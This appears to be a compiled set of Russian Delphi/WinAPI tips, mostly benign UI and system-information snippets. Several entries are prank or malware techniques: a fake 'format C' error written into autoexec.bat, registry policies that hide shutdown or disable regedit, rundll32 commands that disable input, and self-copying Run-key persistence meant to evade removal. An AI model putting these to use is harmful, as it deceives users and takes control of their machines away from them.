FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL)) == (HANDLE) INVALID_HANDLE_VALUE)
return FALSE;
// Call private function to parse the file looking for headings.
while ( GetNextHeadingAndLevelFromFile(hf, szItemText, &nLevel) )
// Add // Add the item to the tree-view control.
hPrev = (HTREEITEM) SendMessage(hwndTV, TVM_INSERTITEM, 0,
(LPARAM) (LPTVINSERTSTRUCT) &tvins);
// Save the handle to the item.
if (nLevel == 1)
hPrevRootItem = hPrev;
else if (nLevel == 2)
hPrevLev2Item = hPrev;
// The new item is a child item. Give the parent item a
// closed folder bitmap to indicate it now has child items.
if (nLevel > 1) {
А если тебе нужно полное подобие Explorer'ности, т.е. не только C:\ но и такие приятные вещички как Network Negihbourhood,
Printers и прочие папки (и их содержимое) которые не являются файлами, то стоит посмотреть MSDN: Enumerating Items in the Shell
(там как раз пример с Tree View +List View). Cм. в \Books\Progamming Windows 95 User Interface\Part 3\Chapter Fourteen
А если это все на Delphi, то там есть пример в Demos\VirtualListView\
А что делает (LONG)"C:\\*.*"? А то я в си не очень.
Кто знает че там в Дельфях надо написать?
Примерно так:
mask := '*.*';
SendMessage(hwnd, LB_DIR, DDL_READWRITE or DDL_DIRECTORY, integer(mask));
есть компонент типа TTreeView TreeView1
Цель: возможность нарисовать около каждой ветви рисунок TBitMap. Я рисую
через канвас т.е.
=== 1 ===
Ставим приведённую ниже процедуру на событие
TreeView1AdvancedCustomDrawItem, (вызывается при перерисовке ветвей)
таким образом:
procedure TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
var PaintImages, DefaultDraw: Boolean);
var BitMap:TBitMap;
NodeRect:TRect;
begin
with Node do
begin
// Определяем координаты куда рисовать
NodeRect:=DisplayRect(True); // на строке данной ветки, но: True -
сразу слева от ветки, False - справа от границы компонента
BitMap:=TBitMap.Create;
try
ImageList1.GetBitMap(1,BitMap); // загружаем в битовую карту
изображение из компонента TImageList
TreeView.Canvas.Draw(NodeRect.Left,NodeRect.Top,BitMap); //
Собственно рисуем
finally
BitMap.Free; // освобождаем память уже от ненужного компонента
end;
end;
end;
Проблема: Всё работает отлично, но!!! при рисование канвой изображения,
ШРИФТ ВЕТКИ МЕНЯЕТСЯ на уродливый System, не знаю чего с ним делать.
Если есть идеи, напишите.
P.S. Canvas.Font не помогает. Помогает только
Canvas.Font.Assign(TreeView1.Font) но только для текущей ветки, когда с
неё переключаеь на другую, "старая" снова меняется на System :(((
=== 2 ===
Пиктограммы узлов дерева лучше отрисовывать не на канве "руками",
а используя компонент TImageList. Имя этого
компонента (свойство TImageList.Name)
указывается в свойстве TTreeView.Images. Заполните TImageList
bmp-изображениями. Для отображения пиктограмм на дереве
устанавливайте свойства
TTreeView..Items[i].ImageIndex и
TTreeView.Items[i].SelectedIndex i-тых узлов в
соответствующие номера пиктограмм из списка.
Ответ 2:
Проблема в том, что при вызове Canvas.Handle создается новый Font.
Можно рисовать на DC. Но у меня обычно картинки выводятся стандартным
образом, а текст около них рисую на DC.
Если решать только текущую задачу, то можно так:
uses Commctrl;
procedure TForm1.TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
var PaintImages, DefaultDraw: Boolean);
var
DC : HDC;
NodeRect : TRect;
begin
NodeRect := Node.DisplayRect(True);
DC := GetDC(TreeView1.Handle);
ImageList_Draw(ImageList1.Handle, 3, DC,
NodeRect.Left, NodeRect.Top, ILD_NORMAL);
ReleaseDC(TreeView1.Handle, DC);
end;
unit BetterTreeView;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, CommCtrl;
type
TTVNewEditCancelEvent = procedure( Sender: TObject;
Node: TTreeNode; var Delete: Boolean) of object;
TBetterTreeView = class(TTreeView)
protected
FIsEditingNew: Boolean;
FOnEditCancel: TTVChangedEvent;
FOnNewEditCancel: TTVNewEditCancelEvent;
procedure Edit(const Item: TTVItem); override;
public
function NewChildAndEdit(Node: TTreeNode; const S: String)
: TTreeNode;
published
property IsEditingNew: Boolean read FIsEditingNew;
property OnEditCancel: TTVChangedEvent
read FOnEditCancel write FOnEditCancel;
property OnNewEditCancel: TTVNewEditCancelEvent
read FOnNewEditCancel write FOnNewEditCancel;
end;
implementation
procedure TBetterTreeView.Edit(const Item: TTVItem);
var
Node: TTreeNode;
Action: Boolean;
begin
with Item do begin
{ Get the node }
if (state and TVIF_PARAM) <> 0 then
Node := Pointer(lParam)
else
Node := Items.GetNode(hItem);
if pszText = nil then begin
if FIsEditingNew then begin
Action := True;
if Assigned(FOnNewEditCancel) then
FOnNewEditCancel(Self, Node, Action);
if Action then
Node.Destroy
end
else
if Assigned(FOnEditCancel) then
FOnEditCancel(Self, Node);
end
else
inherited;
end;
FIsEditingNew := False;
end;
function TBetterTreeView.NewChildAndEdit
(Node: TTreeNode; const S: String): TTreeNode;
begin
SetFocus;
Result := Items.AddChild(Node, S);
FIsEditingNew := True;
Node.Expand(False);
Result.EditText;
SetFocus;
end;
end.
Если в системе Windows MMSystem установлен декодер MPEG - используя компонент
TMediaPlayer
Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.Filename := 'C:\DownLoad\rsgrow.mpg';
MediaPlayer1.Open;
MediaPlayer1.Display := Panel1;
MediaPlayer1.DisplayRect := Panel1.ClientRect;
MediaPlayer1.Play;
end;
Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать с осторожностью - т.к.
присвоение слишком высокого приоритета может привести к медленной работе остальных программ и системы в целом ;-)
procedure TForm1.Button1Click(Sender: TObject);
var
ProcessID : DWORD;
ProcessHandle : THandle;
ThreadHandle : THandle;
begin
ProcessID := GetCurrentProcessID;
ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
ThreadHandle := GetCurrentThread;
SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;
=== 1 ===
Запустить аплет Панели управления можно вызвав функцию WinExec, для выполнения файла control.exe, которому
передано имя
аплета. Обычно аплеты панели управления расположены в каталоге System Windows и имеют расширение .cpl.
procedure TForm1.Button1Click(Sender: TObject);
begin
WinExec('C:\WINDOWS\CONTROL.EXE TIMEDATE.CPL', sw_ShowNormal);
end;
Запускать можете следующие апплеты:
Desk.cpl - свойства экрана
Inetcpl.cpl - свойства Internet
Intl.cpl - свойства "Язык и Стандарты"
Joy.cpl - игровые устройства
Mmsys.cpl - свойства мультимедиа
Modem.cpl - свойства модемы
Netcpl.cpl - сеть
Odbccp32.cpl - ODBC Data Source Administrator
Password.cpl - свойства пароли
Powercfg.cpl - свойства "Управление электропитанием"
Access.cpl - свойства "Специальные возможности"
Sticpl.cpl - свойства "Сканеры м камеры"
Sysdm.cpl - свойства системы
Telephon.cpl - параметры набора номера
Appwiz.cpl - установка и удаление программ
Main.cpl - мышь
Timedate.cpl - свойства "Дата и время"
dtccfg.cpl - настройка клиента MS DTC
Mlcfg32.cpl - свойства Microsoft Outlook
Findfast.cpl - Microsoft FrontPage
bdeadmin.cpl - BDE Administrator
ibmgr.cpl - Interbase manager
=== 2 ===
Вызвать свойства компьютера
ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,sw_ShowNormal);
Комментарий от "Marina Orlova" (mary77@atrus.ru)
По 'open' может и не открыться - код ошибки 31 SE_ERR_NOASSOC There is no application associated with the given
filename
extension.
чтобы работало на любой машине открываю файлы *.cpl примерно так:
ShellExecute(h,nil, 'Control.exe' ,'sysdm.cpl', nil,sw_ShowNormal);
=== 3 ===
Малоизвестные команды Windows 9xx для запуска из командной строки (управление с помощью rundll32)
Можно использовать из приложения Дельфи с помощью следующей конструкции:
ShellExecute(Application.Handle,
Pchar('Open'),Pchar('C:\Windows\Rundll32.exe'),
Pchar(команда),
Pchar('C:\Windows'),SW_SHOWNORMAL);
где: команда - одна из перечисленных ниже
Например:
ShellExecute(Application.Handle, Pchar('Open'),Pchar('C:\Windows\Rundll32.exe'), Pchar('krnl386.exe,exitkernel'),
Pchar('C:\Windows'),SW_SHOWNORMAL);
"rundll32 shell32,Control_RunDLL" - Выводит "Панель управления"
"rundll32 shell32,OpenAs_RunDLL" - Выводит окошко - "Открыть с помощью.."
"rundll32 shell32,ShellAboutA Info-Box" - Покозать окно "About Windows"
"rundll32 shell32,Control_RunDLL desk.cpl" - Открыть "Свойства Экрана"
"rundll32 user,cascadechildwindows" - Сортировка окон "Каскадом" (Как в Win 3.x)
"rundll32 user,tilechildwindows" - Сместить Окна в низ
"rundll32 user,repaintscreen" - Обновить рабочий стол
"rundll32 shell,shellexecute Explorer" - Запустить проводник Windows.
"rundll32 keyboard,disable" - Вырубить Клавиатуру! (Вот Это я понимаю Заподло!)
"rundll32 mouse,disable" - Вырубить Мышь! (У Шефа Будет припадок:)))
"rundll32 user,swapmousebutton" - Поменять Местами клавиши Мыша! (Во мля! и этого Дядя Билли не забыл!)
"rundll32 user,setcursorpos" - Сместить курсор крысы в левый верхний угол
"rundll32 user,wnetconnectdialog" - Вызвать окно "Подключение сетевого диска"
"rundll32 user,wnetdisconnectdialog" - Вызвать окно "Отключение сетевого диска"
"rundll32 user,disableoemlayer" - Спровоцировать сбой!!! (Знаю, сам сразу не поверил, но это FUсKт...)
"rundll32 diskcopy,DiskCopyRunDll" - Показать окно "Copy Disk"
"rundll32 rnaui.dll,RnaWizard" - Вывод окна "Установка Связи", с ключем "/1" - без окна
"rundll32 shell32,SHFormatDrive" - Окно "Форматирование: Диск3,5(А)" вызвать
"rundll32 shell32,SHExitWindowsEx -1" - Перегрузить Explorer"rundll32 shell32,SHExitWindowsEx 1" - Выключение
Компутера.
"rundll32 shell32,SHExitWindowsEx 0" - Завершить Работу Текущего Пользователя
"rundll32 shell32,SHExitWindowsEx 2" Windows-98-PC boot
"rundll32 krnl386.exe,exitkernel" - выход из Windows без любых сообщений/вопросов
"rundll rnaui.dll,RnaDial "MyConnect" - Вызвать окошко "Установка связи" с соединением "MyConnect"
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - выбрать в появившемся меню принтер и послать, а него тест
"rundll32 user,setcaretblinktime" - установить новую частоту мигания курсора
"rundll32 user,setdoubleclicktime" - установить новую скорость двойного нажатия
"rundll32 sysdm.cpl,InstallDevice_Rundll" - установить non-Plug&Play оборудование
=== 3 ===
"Клизьма" корзине
Есть функция SHEmptyRecycleBin (в shell32.dll)
Когда вы вызываете контекстное меню на иконке "Моего компьютера" и щёлкаете
на команде "Свойства" - вы видите свойства системы.
Эта статья позволит вам внести туда любой свой собственный текст и даже поместить
рисунок!
Что же для этого надо?
Для начала давайте заглянем в папку System, находящуюся в
директории Windows и найдём там файл инициализации с именем Oeminfo.ini,
нужно его отредактировать так, чтобы он выглядел
следующим образом:
[General]
Manufacturer="производитель типа Я"
Model="модель беспонтовая!!! :-))"
[Support Information]
Line1="А здесь крутая инфа о поддержки"
Line2="тоже написанная мною,"
Line3="а Бил ГЕЙ, тс..."
Здесь, как видно, должно быть всего два раздела:
[General] - указанные здесь данные будут отображаться в окне
"Свойства: Система" на закладке "Общие".
[Support Information] - информация о поддержки, которая будет видна
в диалоговом окне появляющимся по нажатию на кнопке "Поддержка..."
на той же закладке.
В разделе [General] есть два параметра (Manufacturer и Model),
которым можно задавать любые значения. В разделе же информации
о поддержки можно создать сколько угодно параметров.
Чтобы было ещё эффектнее можно поместить в окно свойств
даже графический файл, для этого файл нужно сначала создать, используя
любой графический редактор, учитывая главное условие - размер файла
должен быть 127х127.
Назвать файл нужно так: Oemlogo.bmp, а затем
поместить в папку System, находящуюся в директории
Windows.
Ну, а как же собственно занести информацию в ini-файл
программно?
Всё довольно-таки просто :-)
Для взаимодействия с ini-файлами нужно сделать следующее:
Сначала в области uses нужно объявить модуль inifiles Затем
объявить переменную класса TIniFile Выделить память под этот объект,
т.е. создать его с помощью метода Create А после уже можно заносить
или считывать данные из этого ini-файла
Вид модуля должен быть примерно таким:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, inifiles;
{Объявляем модуль для взаимодействия с ini-файлами}
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
{по созданию окна пишем следующий код}
var
APChar: array [0..254] of char;
{сначала нужно узнать где у пользователя папка Windows -
объявляем под это дело массив символов}
sFile:String;
{объявляем текстовую переменную под имя ini-файла}
Ini:TIniFile;
{...и экземпляр класса TIniFile для взаимодействия с файлами
инициализации}
begin
GetWindowsDirectory(APChar,255);
{узнаём, где у чудилки находится каталог Windows}
sFile:=String(APChar)+'\System\Oeminfo.ini';
{в текстовую переменную помещаем имя нужного нам файла}
if FileExists(sFile) then begin
{и если файл существует...}
Ini:=TIniFile.Create(sFile);
{связываем объявленную переменную с этим файлом}
{далее заносим данные, используя процедуру WriteString,
т.к. данные текстового типа.
Параметры у процедуры такие:
Имя раздела
Имя ключа
Вносимое значение}
Ini.WriteString('General','Manufacturer','"производитель типа Я"');
Ini.WriteString('General','Model','"модель беспонтовая!!! :-))"');
Ini.WriteString('Support Information','Line1','"А здесь крутая инфа о поддержки"');
Ini.WriteString('Support Information','Line2','"тоже написанная мною,"');
Ini.WriteString('Support Information','Line3','"а Бил ГЕЙ, тс..."');
Ini.Free;
{ну, а под конец, сделав своё грязное дело, мы как порядочные...
программисты - освобождаем занимаемую память}
end;
end;
end.
Очень часто мы видим, что во время загрузки Windows
на чётном экране выводится какой-то текст. Но как
дописать туда что-нибудь своё? Хороший вопрос. Это
можно сделать с помощью файла Autoexec.bat,
находящегося в корневом каталоге.
Давайте откроем его, вписав в командную
строку("Пуск">"Выполнить") следующее:
SysEdit - эта команда позволяет вызвать
редактор системных файлов. Самый
верхний и будет Autoexec.bat
Добавим следующее и перезагрузим машину:
@echo off
@echo Attention
@echo System error. File kernel.dll is fail. Press any key for format C
pause
директива @echo off позволяет отключить
вывод echo директива @echo позволяет вывести сообщение
директива pause позволяет задержать загрузку Windows -
нужно, чтобы пользователь обязательно заметил наше сообщение!..
И что же мы видим, ещё до того как загрузится
Windows, появится строка, гласящая, что
произошла системная ошибка.
Итак, неопытный пользователь, увидев
такое сообщение, не поймёт откуда оно
взялось и будет
всерьёз ошеломлён.
Нажать какую-нибудь клавишу осмелится не каждый...
но, в последствии, когда, несколько раз перезагрузив
компьютер... он обнаружит то же сообщение, ему уже
ничего не останется сделать, как рискнуть...
Да, выставить кого-нибудь чайником - занятие чрезмерно
приятное...
И наша очередная задача - сделать всё это из Delphi
Объявляем файловую переменную класса TextFile и
массив строк в публичных объявлениях
(после ключевого слова Public):
public
{ Public declarations }
f:TextFile;
t:array[1..4]of string;
По нажатию простого "батона" пишем код:
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin
assignfile(f,'c:\autoexec.bat');
Append(f);
t[1]:='@echo off';
t[2]:='@echo Attention';
t[3]:='@echo System error. File kernel.dll is fail. Press any key for format C';
t[4]:='pause';
for i:=1 to 4 do begin
writeln(f,t[i]);
end;
closefile(f);
end;
Как это сделано?
Сначала мы присваиваем файловой переменой файл Autoexec.bat:
assignfile(f,'c:\autoexec.bat');
Затем, используя функцию Append, добавляем текстовые
строки массива f в файл.
Строками массива является уже известный нам код,
который мы вписывали в Autoexec.bat.
Функция writeln(f,t[i]); вписывает в цикле поочерёдно
элементы массива в файл f.
После того как мы внесли изменения, остаётся только
закрыть файл с помощью следующей строки кода:
closefile(f);
Самый простой способ - использовать следующую функцию
Function GetRAMSize:integer;
var MS : TMemoryStatus;
Begin
GlobalMemoryStatus(MS);
Result := MS.dwTotalPhys;
end;
Функция возвращает размер ОЗУ в байтах.
В общем функция GlobalMemoryStatus заполняет структуру типа TMemoryStatus,
которая имеет ряд достаточно полезных полей:
dwTotalPhys Полный объем ОЗУ (т.е. физической памяти)
dwAvailPhys Свободный объем ОЗУ (как правило небольшая величина)
dwTotalVirtual Полный объем виртуальной памяти
dwAvailVirtual Свободный объем виртуальной памяти
dwMemoryLoad Процент использования памяти (0-не используется, 100-используется вся)
dwTotalPageFile Общий размер данных (в байтах), которые могут быть сохранены в файле
подкачки (но это не является его размером на диске !!)
dwAvailPageFile Доступный объем в файле подкачки
Прим. Перевод названий корявый - подробности в win32.hlp :));
procedure TForm1.Button1Click(Sender: TObject);
var
handler:thandle;
data:TProcessEntry32;
function return_name:string;
var
i:byte;
names:string;
begin
names:='';
i:=0;
while data.szExeFile[i] <> '' do
begin
names:=names+data.szExeFile[i];
inc(i);
end;
return_name:=names;
end;
begin
handler:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
if process32first(handler,data) then begin
listbox1.Items.add(return_name);
while process32next(handler,data) do
listbox1.Items.add(return_name);
end
else
showmessage('Ошибка получения информации :)');
end;
А запускать например так:
procedure TForm1.Label3Click(Sender: TObject);
begin
shellexecute(handle,'open','mailto:maxrus@mail.ru',nil,nil,0)
end;
end.
Как послать самостийное сообщение всем главным окнам в Windows?
Пример:
Var
FM_FINDPHOTO: Integer;
// Для использовать hwnd_Broadcast нужно сперва зарегистрировать уникальное
// сообщение
Initialization
FM_FindPhoto:=RegisterWindowMessage('MyMessageToAll');
// Чтобы поймать это сообщение в другом приложении (приемнике) нужно перекрыть
DefaultHandler
procedure TForm1.DefaultHandler(var Message);
begin
with TMessage(Message) do
begin
if Msg = Fm_FindPhoto then MyHandler(WPARAM,LPARAM) else
Inherited DefaultHandler(Message);
end;
end;
// А тепрь можно
SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);
Кстати, для посылки сообщения дочерним контролам некоего контрола можно
использовать метод Broadcast.
function GetBIOSDate:string;
{получение даты BIOS в Win95}
var
s:array[0..7] of char;
p:pchar;
begin
p:=@s;
asm
push esi
push edi
push ecx
mov esi,$0ffff5
mov edi,p
mov cx,8
@@1:mov al,[esi]
mov [edi],al
inc edi
inc esi
loop @@1
pop ecx
pop edi
pop esi
end;
setstring(result,s,8);
end;
Регистрация программ в меню "Пуск" Windows 95.
Подобная проблема возникает при создании инсталляторов и деинсталляторов. Наиболее простой и гибкий путь - использование
DDE. При этом посылаются запросы к PROGMAN. Для этого необходимо поместить на форму компонент для посылки DDE запросов
- объект типа TDdeClientConv. Для определенности назовем его DDEClient. Затем добавим метод для запросов к PROGMAN:
Function
TForm2.ProgmanCommand(Command:string):boolean;
Var
macrocmd:array[0..88] of char;
begin
DDEClient.SetLink('PROGMAN','PROGMAN');
DDEClient.OpenLink; { Устанавливаем связь по DDE }
strPCopy(macrocmd,'['+Command+']'); { Подготавливаем ASCIIZ строку }
ProgmanCommand :=DDEClient.ExecuteMacro(MacroCmd,false);
DDEClient.CloseLink; { Закрываем связь по DDE }end;
При вызове ProgmanCommand возвращает true, если посылка макроса была успешна. Система команд (основных) приведена ниже:
Create(Имя группы, путь к GRP файлу) Создать группу с именем "Имя группы", причем в нем могут быть пробелы и знаки
препинания. Путь к GRP файлу можно не указывать, тогда он создастся в каталоге Windows.
Delete(Имя группы) Удалить группу с именем "Имя группы"
ShowGroup(Имя группы, состояние) Показать группу в окне, причем состояние - число, определяющее параметры окна:
1-нормальное состояние + активация
2-миним.+ активация
3-макс. + активация
4-нормальное состояние
5-Активация
AddItem(командная строка, имя раздела, путь к иконке, индекс иконки (с 0), Xpos,Ypos, рабочий каталог, HotKey, Mimimize)
Добавить раздел к активной группе. В командной строке, имени размера и путях допустимы пробелы,
Xpos и Ypos - координаты иконки в окне, лучше их не задавать, тогда PROGMAN использует значения по умолчанию для свободного
места.
HotKey - виртуальный код горячей клавиши.
Mimimize - тип запуска, 0-в обычном окне, <>0 - в минимизированном.
DeleteItem(имя раздела) Удалить раздел с указанным именем в активной группе
Пример использования:
ProgmanCommand('CreateGroup(Комплекс программ для каталогизации литературы,)');
ProgmanCommand('AddItem('+path+'vbase.hlp,Справка по VBase,'+ path +' vbase.hlp,
0, , , '+ path + ',,)');
где path - строка типа String, содержащая полный путь к каталогу ('C:\Catalog\');
unction GetUserName:string;
{Определение имени пользователя}
var
Buffer: array[0..MAX_PATH] of Char;
sz:DWord;
begin
sz:=MAX_PATH-1;
if windows.GetUserName(Buffer,sz)
then begin
if sz>0 then dec(sz);
SetString(Result,Buffer,sz);
end else begin
Result:='Error '+inttostr(GetLastError);
end;
end;
Диалог можно нарисовать ручками (из калькулятора того же срисовать), а информацию об OS и количестве памяти можно взять
следующим образом :
type
TAboutForm = class(TForm)
OS: TLabel;
Mem: TLabel;
...
procedure TAboutForm.GetOSInfo;
var
Platform: string;
BuildNumber: Integer;
begin
case Win32Platform of
VER_PLATFORM_WIN32_WINDOWS:
begin
Platform := 'Windows 95';
BuildNumber := Win32BuildNumber and $0000FFFF;
end;
VER_PLATFORM_WIN32_NT:
begin
Platform := 'Windows NT';
BuildNumber := Win32BuildNumber;
end;
else
begin
Platform := 'Windows';
BuildNumber := 0;
end;
end;
if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or
(Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
if Win32CSDVersion = '' then
OS.Caption := Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber])
else
OS.Caption := Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber, Win32CSDVersion]);
end
else
OS.Caption := Format('%s %d.%d', [Platform, Win32MajorVersion,
Win32MinorVersion])
end;
procedure TAboutForm.InitializeCaptions;
var
MS: TMemoryStatus;
begin
GetOSInfo;
MS.dwLength := SizeOf(TMemoryStatus);
GlobalMemoryStatus(MS);
Mem.Caption := FormatFloat('#,###" KB"', MS.dwTotalPhys div 1024);
end;
== 1 ===
Иногда нужно бывает обратиться к какому-либо файлу, который находится как раз в этой %WinDir директории. Можно, конечно,
написать C:\WINDOWS, но, тогда с уверенностью можно сказать, что на части компьютеров эта программа не пройдет.
Предлагаю Вам такую процедуру:
Var F:TextFile;
St,Res:String;
begin
AssignFile(F,'c:\msdos.sys'); Reset(F);
While not Eof(F) do begin
ReadLn(F,St);
If Copy(St,1,6)='WinDir' then Break;
end;
CloseFile(F);
Res:=Copy(St,8,Length(St)-7);
end.
После выполнения этой процедуры в переменную Res записывается значение %WinDir.
=== 2 ===
Сначала, естественно, объявляем в uses модуль Registry
Затем по нажатию на кнопку пишем такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do begin
Memo1.Lines.Add(ts.Strings[i] +
' = ' +
reg.ReadString(ts.Strings[i]));
end;
ts.Free;
reg.CloseKey;
reg.free;
end;
const
{ operating system constants }
cOsUnknown = -1;
cOsWin95 = 0;
cOsWin98 = 1;
cOsWin98SE = 2;
cOsWinME = 3;
cOsWinNT = 4;
cOsWin2000 = 5;
cOsWhistler = 6;
function GetOperatingSystem : integer;
var
osVerInfo : TOSVersionInfo;
majorVer, minorVer : Integer;
begin
result := cOsUnknown;
{ set operating system type flag }
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
begin
if majorVer <= 4 then
result := cOsWinNT
else if (majorVer = 5) AND (minorVer= 0) then
result := cOsWin2000
else if (majorVer = 5) AND (minorVer = 1) then
result := cOsWhistler
else
result := cOsUnknown;
end;
VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }
begin
if (majorVer = 4) AND (minorVer = 0) then
result := cOsWin95
else if (majorVer = 4) AND (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
result := cOsWin98SE
else
result := cOsWin98;
end
else if (majorVer = 4) AND (minorVer = 90) then
result := cOsWinME
else
result := cOsUnknown;
end;
else
result := cOsUnknown;
end;
end
else
result := cOsUnknown;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(GetOperatingSystem));
end;
unit PortInfo;
interface
uses Windows, SysUtils, Classes, Registry;
function EnumModems : TStrings;
implementation
function EnumModems : TStrings;
var
R : TRegistry;
s : ShortString;
N : TStringList;
i : integer;
j : integer;
begin
Result:= TStringList.Create;
R:= TRegistry.Create;
try
with R do begin
RootKey:= HKEY_LOCAL_MACHINE;
if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
if HasSubKeys then
begin
N:= TStringList.Create;
try
GetKeyNames(N);
for i:=0 to N.Count - 1 do begin
closekey; { + }
openkey('\System\CurrentControlSet\Services\Class\Modem',false); { + }
OpenKey(N[i], False);
s:= ReadString('AttachedTo');
for j:=1 to 4 do
if Pos(Chr(j+Ord('0')), s) > 0 then
Break;
Result.AddObject(ReadString('DriverDesc'),TObject(j));
CloseKey;
end;
finally
N.Free;
end;
end;
end;
finally
R.Free;
end;
end;
end.
В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей
запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.
{$IFDEF WIN32}
uses Registry;
{$ENDIF}
function HasCoProcesser : bool;
{$IFDEF WIN32}
var TheKey : hKey;
{$ENDIF}
begin
Result := true;
{$IFNDEF WIN32}
if GetWinFlags and Wf_80x87 = 0 then
Result := false;
{$ELSE}
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',0, KEY_EXECUTE,
TheKey) ERROR_SUCCESS then
result := false;
RegCloseKey(TheKey);
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if HasCoProcesser then
ShowMessage('Has CoProcessor')
else
ShowMessage('No CoProcessor - Windows Emulation Mode');
end;
Как вы думаете, что сделает глупый пользователь, если вдруг не обнаружит у себя в меню "ПУСК" команду "Выключить
компьютер"... Правильно - сразу сожрёт от испуга свою мышь и побежит хвастаться друзьям, что его хакнул сам Билл Гейтс!!! Так
не будем же его огорчать и дадим ему такой шанс.
В системном реестре есть специальный ключ, отвечающий за доступность этой команды. Вот он:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
В этом ключе нужно только создать параметр с именем "NoClose" и задать ему в качестве значения единицу.
Как же это можно сделать из Delphi?
Сначала в области uses нужно объявить модуль Registry. Вот так:
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
StdCtrls;
Затем, например, по нажатию какой-нибудь кнопки написать следующий код:
procedure TForm1.Button1Click(Sender: TObject);
var
a:TRegistry;
begin
a:=TRegistry.create;
a.RootKey:=HKEY_CURRENT_USER;
a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
a.WriteInteger('NoClose',1);
a.CloseKey;
a.Free;
end;
Как это сделано?
Сначала мы объявляем переменную класса TRegistry:
var
a:TRegistry;
Выделяем под неё память:
a:=TRegistry.create;
Указываем с каким из основных ключей мы хотим иметь дело, используя свойство RootKey [ключи описывались в статье "О
реестре"]:
a.RootKey:=HKEY_CURRENT_USER;
Открываем нужный ключ. Фунции OpenKey нужно указать два параметра: сначала какой ключ мы открываем, а затем логическое
значение, обозначающее: будет ли ключ создан в случае его отсутствия:
a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
Вносим целочисленное значение в параметр "NoClose", то что значение вносится целочисленное мы показали, используя функцию
WriteInteger. Чтобы задействовать этот параметр нужно в качестве значения задать единицу (ноль снимает использование).
a.WriteInteger('NoClose',1);
После того как мы сделали своё грязное дело :-)) нужно закрыть ключ:
a.CloseKey;
...и освободить память: a.Free;
Например мы вынесли компонент класса TCheckBox, назвали его "Использовать редактор системного реестра". Задача такова: когда
флажок установлен пользователь может воспользоваться редактором реестра, когда не установлен - соответственно, не может!!!
Что нужно для осуществления этой задачи? Нужно воспользоваться ключом
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
создать в нём параметр
DisableRegistryTools
и задать ему в качестве значение 1, т.е. задействовать его.
Код пишем по нажатию на самом Checkbox'e:
procedure TForm1.CheckBox1Click(Sender: TObject);
var
H:TRegistry;
begin
H:=TRegistry.Create;
H.RootKey:=HKEY_CURRENT_USER;
H.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',true);
if CheckBox1.Checked then H.WriteInteger('DisableRegistryTools',0)
else H.WriteInteger('DisableRegistryTools',1);
H.CloseKey;
H.Free;
end;
Не забудьте в области uses объявить модуль Registry:
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;
то можно сделать несколькими способами, но наиболее оптимальный - занесение файла в автозапуск реестра, который находится по
следующему адресу:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run
Здесь есть два весьма важных аспекта:
+ Глупый пользователь может удалить нашу прогу
+ И мы не знаем откуда чудилка её запустит
Решением этих двух проблем является вот что:
Прога должна при запуске копировать сама себя в укромное местечко, например в каталог Windows, и заносить в реестр путь к
созданной копии, которая и будет запускаться при каждом запуске Windows.
